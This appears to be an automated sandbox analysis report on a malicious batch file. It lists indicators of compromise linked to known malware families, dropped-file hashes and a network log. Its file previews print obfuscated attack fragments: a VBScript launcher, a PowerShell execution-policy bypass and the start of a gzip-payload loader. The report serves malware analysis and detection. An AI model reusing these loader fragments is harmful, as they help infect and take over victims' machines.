	https://trimmer.to:443/GWHMY	Get hash	malicious	HTMLPhisher	Browse	34.117.59.81
	bose18mkt.bat	Get hash	malicious	Abobus Obfuscator	Browse	34.117.59.81
	hnbose1711.bat	Get hash	malicious	Abobus Obfuscator	Browse	34.117.59.81
	LzmJLVB41K.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	34.117.59.81
	2h2xLB9h1L.lnk	Get hash	malicious	Abobus Obfuscator	Browse	34.117.59.81
bg.microsoft.map.fastly.net	New Purchase Order Document for PO1136908 000 SE.exe	Get hash	malicious	AgentTesla	Browse	199.232.210.172
	WNIOSEK BUD#U017bETOWY 25-11-2024#U00b7pdf.vbs	Get hash	malicious	Remcos, GuLoader	Browse	199.232.214.172
	dekont 25.11.2024 PDF.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	199.232.210.172
	Vendor Agreement Ready for Your Signature November 22 2024 at 084923 PM.msg	Get hash	malicious	HTMLPhisher	Browse	199.232.214.172
	denizbank 25.11.2024 E80 aspc.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	199.232.214.172
	http://propdfhub.com	Get hash	malicious	Unknown	Browse	199.232.210.172
	05.Unzipped.obfhotel22-11.js	Get hash	malicious	RHADAMANTHYS	Browse	199.232.210.172
	412300061474#U00b7pdf.vbs	Get hash	malicious	Remcos, GuLoader	Browse	199.232.210.172
	somes.exe	Get hash	malicious	RedLine	Browse	199.232.210.172
	docx008.docx.doc	Get hash	malicious	Unknown	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	MSM8C42iAN.exe	Get hash	malicious	DarkCloud	Browse	149.154.167.220
	November Quotation.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	#U06a9#U067e#U06cc #U067e#U0631#U062f#U0627#U062e#U062a - 19112024,jpg.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	wMy37vlfvz.exe	Get hash	malicious	DarkCloud	Browse	149.154.167.220
	dekont 25.11.2024 PDF.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	denizbank 25.11.2024 E80 aspc.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	149.154.167.99
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	149.154.167.99
	order requirements CIF-TRC809910645210.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	NEW P.O.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	149.154.167.220
GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	Evjm8L1nEb.exe	Get hash	malicious	Unknown	Browse	34.117.59.81
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	34.116.198.130
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
HETZNER-ASDE	http://www.kalenderpedia.de	Get hash	malicious	Unknown	Browse	5.161.110.190
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	49.13.32.95
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	49.13.32.95
	http://google.com	Get hash	malicious	Unknown	Browse	94.130.197.138
	rbCoIEGfDf.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	91.107.151.211
	LWv5DuboZh.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	91.107.151.211
	file.exe	Get hash	malicious	FormBook	Browse	88.198.8.150
	powerpc.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	144.79.19.125
	powerpc.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	5.9.250.61
	powerpc.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	49.13.42.140
PHMGMT-AS1US	N1f691bk5G.ps1	Get hash	malicious	AsyncRAT	Browse	178.208.169.197
	mips.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	178.208.190.219
	amen.ppc.elf	Get hash	malicious	Mirai	Browse	45.255.208.12
	2xPiYIsfF2.exe	Get hash	malicious	AsyncRAT	Browse	128.90.103.230
	OhWWbQcp7Q.exe	Get hash	malicious	AveMaria, UACMe	Browse	128.90.129.125
	hb21QzBgft.exe	Get hash	malicious	AveMaria, UACMe	Browse	128.90.129.125
	U2DhKOFGy6.exe	Get hash	malicious	AsyncRAT	Browse	128.90.129.125
	uVyl5BbR2M.exe	Get hash	malicious	AsyncRAT	Browse	128.90.129.125
	ahMvIr4vjN.exe	Get hash	malicious	AsyncRAT	Browse	128.90.129.125
	WlewaiA251.exe	Get hash	malicious	AsyncRAT	Browse	128.90.129.125

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	https://go.dgdp.net/	Get hash	malicious	Unknown	Browse	149.154.167.220 168.119.208.219 34.117.59.81
	http://virtual.urban-orthodontics.com	Get hash	malicious	Unknown	Browse	149.154.167.220 168.119.208.219 34.117.59.81
	LAQfpnQvPQ.exe	Get hash	malicious	Snake Keylogger	Browse	149.154.167.220 168.119.208.219 34.117.59.81
	idk_1.ps1	Get hash	malicious	Unknown	Browse	149.154.167.220 168.119.208.219 34.117.59.81
	FreeCs2Skins.ps1	Get hash	malicious	Unknown	Browse	149.154.167.220 168.119.208.219 34.117.59.81
	Ref#2056119.exe	Get hash	malicious	AgentTesla, XWorm	Browse	149.154.167.220 168.119.208.219 34.117.59.81
	PO#86637.exe	Get hash	malicious	AgentTesla, PureLog Stealer, zgRAT	Browse	149.154.167.220 168.119.208.219 34.117.59.81
	CHARIKLIA JUNIOR DETAILS (1) (1).pdf.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	149.154.167.220 168.119.208.219 34.117.59.81
	New Purchase Order Document for PO1136908 000 SE.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220 168.119.208.219 34.117.59.81
	November Quotation.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220 168.119.208.219 34.117.59.81

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	203
Entropy (8bit):	5.299439045576121
Encrypted:	false
SSDEEP:	6:G0FOd2PAZ/M0/jZj8XIBMSRVya5PaHKssMQ:BFKl/jZjCSRVBPeQ
MD5:	48C375C039C9FE2017AF2E593D3FA715
SHA1:	684CD6086BA8982E1D9E37FA8DE48A1CBEE37838
SHA-256:	75F0028EA10F4ED9120E1F39ED5CAC7D9406F33C38D753CAB48E35C2D1023858
SHA-512:	A86BD0CAFFE36E28F122EAD39F87F70A837D1C3588FB75510BCFE82A1D49978CF0927E5D29249A82A0701FF6938B1A4F7E97756BB3579B4CE9C1979C1DE879E5
Malicious:	true
Preview:	..Set MLDFUIFHSDCCQ = CreateObject("W" + ChrW(83) + "cript" + ChrW(46) + "Shell")..MLDFUIFHSDCCQ.Run(UpdaDI()),ChrW(48).Function UpdaDI().UpdaDI = UpdaDI + "C:\Users\Public\AXAGFIIEZBBS.bat".End Function

C:\Users\Public\AXAGFIIEZBBS.bat

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	161
Entropy (8bit):	4.90173435614428
Encrypted:	false
SSDEEP:	3:3AXq5MzYAGQqPJH0cVERAIrFjFC8hwjuucquuXj/quM8Pk+jVWvAJEXQhQBG:n5IYAGQO0cbY4mwSuJua//cYxY4Qs
MD5:	65774B43ED7213533BDBAACC392DE387
SHA1:	D092142CCC5B88899DA0091806D5249AC8D2EA04
SHA-256:	7C546286995AC2ACAF515D4105FFDB18F4FD6F69B1D7EBA583251B58532EF61D
SHA-512:	0B666036C54D77FCCBA4F77002FBCA7FA43E30E73D7F67AEEDF628DB81A442D0955B191475F670EA4E736CFB0E67A6E120CCFF17CC517AB7D6A073F2ECC7CEDF
Malicious:	true
Preview:	PowerShell -NoProfile -ExecutionPolicy Bypass -Command "& 'C:\AMRKKUAMRKKsAMRKKeAMRKKrAMRKKs\PAMRKKuAMRKKbAMRKKlAMRKKiAMRKKc\LMKGJHPBNG.ps1'.replace('AMRKK','')"

C:\Users\Public\LMKGJHPBNG.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (64623)
Category:	dropped
Size (bytes):	255748
Entropy (8bit):	3.1900458877489832
Encrypted:	false
SSDEEP:	1536:NYzrwIovquFT/TO5HiSujupnwIE6YcG47rwnv1IJ5YH1llykZXvyd2b5uDSPVZrB:b
MD5:	33B6C435BDBBEC12AE8CBA21EB6D105F
SHA1:	41D43DC4EC1187E6120F26158E074E39475B0815
SHA-256:	D4F4D3196D92B306F65BA4F1F90EC73403803530A58196B48DB38210E3E3047D
SHA-512:	8B11308F7E16DC54E1559591D2D741F0A53D0A90C7DDB33BC817D15EDCDC46DC4EBEDD121925DA4C791D7BB8B0A6A74334F63253F6FC3AF453765F62826E4A4F
Malicious:	false
Preview:	.$love = "C:\Windows\Microsoft.".$love1 ="NET\Framework\v4.0.30319\aspnet_compiler.exe".$GBDWVQYONBIQDJWMDKUVUR = $love + $love1.$love2 = "C:\Windows\Microsoft.".$love22 = "NET\Framework\v2.0.50727\aspnet_compiler.exe".$TPNSJKKGOXEEPYKERBJHCHD = $love2 + $love22..function VHPDGARDLG {...[CmdletBinding()]. Param (...[Parameter(Mandatory,ValueFromPipeline,ValueFromPipelineByPropertyName)]. [byte[]] $byteArray = $(Throw("-byteArray is required")). )..Process {.. Write-Verbose "VHPDGARDLG". $input = New-Object System.IO.MemoryStream( , $byteArray ).. $output = New-Object System.IO.MemoryStream. $gzipStream = New-Object System.IO.Compression.GzipStream $input, ([IO.Compression.CompressionMode]::Decompress).. $gzipStream.CopyTo( $output ). $gzipStream.Close()...$input.Close()...[byte[]] $byteOutArray = $output.ToArray(). Write-Output $byteOutArray. }.}..[byte[]] $TZPFISFK = VHPDGARDLG(31,139,8,0,0,0,0,0,4,0,180,125,9,124,91,197,209,248,190

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	11608
Entropy (8bit):	4.890472898059848
Encrypted:	false
SSDEEP:	192:6xoe5qpOZxoe54ib4ZVsm5emdqVFn3eGOVpN6K3bkkjo5OgkjDt4iWN3yBGHVQ9R:9rib4ZmVoGIpN6KQkj2Fkjh4iUxsT6YP
MD5:	8A4B02D8A977CB929C05D4BC2942C5A9
SHA1:	F9A6426CAF2E8C64202E86B07F1A461056626BEA
SHA-256:	624047EB773F90D76C34B708F48EA8F82CB0EC0FCF493CA2FA704FCDA7C4B715
SHA-512:	38697525814CDED7B27D43A7B37198518E295F992ECB255394364EC02706443FB3298CBBAA57629CCF8DDBD26FD7CAAC44524C4411829147C339DD3901281AC2
Malicious:	false
Preview:	PSMODULECACHE......)..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........&ug.z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	2252
Entropy (8bit):	5.7466623645945365
Encrypted:	false
SSDEEP:	48:RXSU4y4RQmFoUeCamfm9qr9te08NfxBH+ffiEwab9npitpyhgFHRj7:RCHyIFKL2O9qr60KfnHMKEw4pitpyhQ7
MD5:	449B65E7629EE5D7264172FD2004F783
SHA1:	4142D4F49F237B734D93E9FA3EFE166D0366B586
SHA-256:	40FDC5A65ADDD1D8D370229DDACEEAA25C3EE7DACDCC188D07C3646C96044C90
SHA-512:	3128A6F3A4B974BB62907B9770C3F99877B3E789F11DDEF5C697247097C096C64E73C16F6BAFB1BC86DF1413443B8C64EB4B90296EF468378DAEC4B85EE230BA
Malicious:	false
Preview:	@...e.................................R..............@..........@...............M6.]..O....PI.&).......System.Web.Extensions...H...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.AutomationL.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices4.................%...K... ...........System.Xml..8..................1...L..U;V.<}........System.Numerics.4.................0..~.J.R...L........System.Data.<...............i..VdqF...\|...........System.ConfigurationH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<................$@...J....M+.B........System.Transactions.@...............(..o...B.Rb&............Microsoft.VisualBasic...P...............

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3rfybafm.v10.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_acrgl1pt.tjp.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gxxl0trm.nne.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pmpweely.kgs.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_q2spqz5b.21d.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xikg1hcy.bym.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\screenshot.png

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PNG image data, 1280 x 1024, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	695409
Entropy (8bit):	7.924869791174031
Encrypted:	false
SSDEEP:	12288:N5ycy8sDhXndF1/vKPwAKbk0OWKsQ6l0t+vVGSwiVB3Q8s1RC7OG:N5Ry84ZnZq22DGlRVfBg8yC7J
MD5:	69CB2B5240F4E68C817464A84033ABEA
SHA1:	26763497A02664026B9827DFE16643E7C84D116A
SHA-256:	F290705C9C8033410D5FBA6E160FAD6C8DD35E6BDB211BF733A0B15603915AFA
SHA-512:	D22AC1AB9B6904D5EBC40572708CD51508806E69176979C68C488B1E916ADEA6122F316188229882457BD0FF894568D5B743D2604633938F33FE6B9D6219CE4A
Malicious:	false
Preview:	.PNG........IHDR................C....sRGB.........gAMA......a.....pHYs..........o.d....IDATx^..w.eG......K=k.....nf...=s.7mf..W.MO7....".....!.pB....d.........B.;...A.$@....{.v.N.{\...d....x....,A....9..j.<.g...NN.h..^'?7..I.C..t....G.sB....O...:d....k.....q.t.}..\|...}.&.......F.../.t?............Q.t.L..`...=...L.V...m.c..s.##1.......-Ss......'.._>..D.~.....~.9...-.>z_5..{g...=....H.G.{p.s.,...-S..5>..sVt.\...z.....YT0...'.O,..zw...w..e.;...].R;.......1So.qf.[k..r[......L...b.......5.>^dL...i.xs.7.2..w..n.:o..Z..[..n...7..z...%.}..(.q...'..Gw.......__-..).(.f*./.f..).X...W.c.C.u.e4....6...7WK.K{.{m..u.d...\|n.~....}..........w..^.VS{^Su.....~U.._..to).. .v.>.W.S...!..h.....]..s...}..].[.M......_]-.#...x.nin.+3.].hc....Z.W.7.=.v..i.ni....;]..E..........U..........N..%._.Y.[.n....c~Y..K.._....X..;..wL{....c`...R\|.4.P.j.K2.v.4..I{.a...e.<bS.}.K....jj.Kr....~..[_....}X.}.....XK.l..f.4.mZ.Z..o...Z.u.n..S. .<0.\|........lv~........S.....

C:\Users\user\AppData\Roaming\device_id.txt

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	78
Entropy (8bit):	2.956426879523995
Encrypted:	false
SSDEEP:	3:QBelFslh6ElYRlUdIelXGlBwOGkpl4vl:QInEZnSeFGlHGkp29
MD5:	709D25F6948BF2877CB5DFC98D2D34F6
SHA1:	035683D074ED570809C21FDFA4E939830BF05A4B
SHA-256:	081AF7F140B3F0742D80DAA2CA9229A09451F0BD6FAF949A7D286D7DD1EF65B4
SHA-512:	160067DCCEDC6D09A83A948E64097FC10BD231D4D899E47E0DAE69F8E458B8EFAABD71ADCBE9155DA85C62FE6D181DBCE274E08FFF7023BE9F5CEBB1A41BD46A
Malicious:	false
Preview:	..d.a.b.9.b.b.f.4.-.a.9.b.a.-.4.1.e.9.-.a.b.7.a.-.e.c.d.d.7.4.1.9.3.6.e.7.....

Static File Info

General

File type:	ASCII text, with very long lines (5933)
Entropy (8bit):	4.749366276451975
TrID:
File name:	Pe4905VGl1.bat
File size:	12'185 bytes
MD5:	4527c576f1af0580c8d96ac23c8f761c
SHA1:	dac3bf00eeb34c9c1d9dca63973f2e04da045383
SHA256:	5dee2d0dd4d3eee97c372b6a8dbd3d3042d24b9483addfa9f8786617a88e268b
SHA512:	7afacd9324fd02c60e927c71d8c4c6b3317984869224da2e6311a4a5963ebb74615ada91af129f9083d771dc069b4578c895c42f8d9154e814e94f8cc28361b9
SSDEEP:	192:kffffffffffffffffffffhffffffffffffffffffffQv/sfffffffffffffffffZ:kffffffffffffffffffffhfffffffffT
TLSH:	E342CD4743132AEE89C53A67E1AB900300F40B791264355D7BED35B3FABF4F992806E9
File Content Preview:	:.:WMYJJPUCHVFWINWFBYSLHHLSLILPCIZJAYNIXRFMLRKUMJBWTGYGJJLHRKRQWBJVUCSMOG.:.:WMYJJPUCHVFWINWFBYSLHHLSLILPCIZJAYNIXRFMLRKUMJBWTGYGJJLHRKRQWBJVUCSMOG.:.:WMYJJPUCHVFWINWFBYSLHHLSLILPCIZJAYNIXRFMLRKUMJBWTGYGJJLHRKRQWBJVUCSMOG.:.:WMYJJPUCHVFWINWFBYSLHHLSLILPCI

File Icon


Icon Hash:	9686878b929a9886

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 25, 2024 15:22:07.236963034 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:07.239916086 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:07.244189978 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:07.244271040 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:07.244272947 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:07.244322062 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:07.246603012 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:07.246710062 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:07.341001034 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:07.341026068 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:07.341151953 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:07.344116926 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:07.344202042 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:07.362442017 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:07.369160891 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:07.377811909 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:07.466007948 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:07.566732883 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:07.569688082 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:07.579054117 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:07.579175949 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:07.581712961 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:07.667402983 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:07.670088053 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:07.678292990 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:07.678308010 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:07.678363085 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:07.681288958 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:07.682051897 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:07.700069904 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:07.707406998 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:07.794245958 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:07.804820061 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:07.805444956 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:07.904340982 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:07.908632994 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:07.995423079 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:07.995556116 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:08.006055117 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:08.006182909 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:08.012157917 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:08.012269974 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:08.012357950 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:08.012392998 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:08.028985977 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:08.242964983 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:08.298346996 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:08.386502981 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:08.416971922 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:08.418853045 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:08.419133902 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:08.424030066 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:08.510176897 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:08.541935921 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:08.557485104 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:08.557496071 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:08.557504892 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:08.714462042 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:08.714473963 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:08.714565039 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:08.745309114 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:08.758167028 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:08.765114069 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:08.765212059 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:08.765222073 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:08.773514986 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:08.774336100 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:22:08.865907907 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:08.893589973 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:22:08.894407988 CET	443	49703	13.107.246.63	192.168.2.8
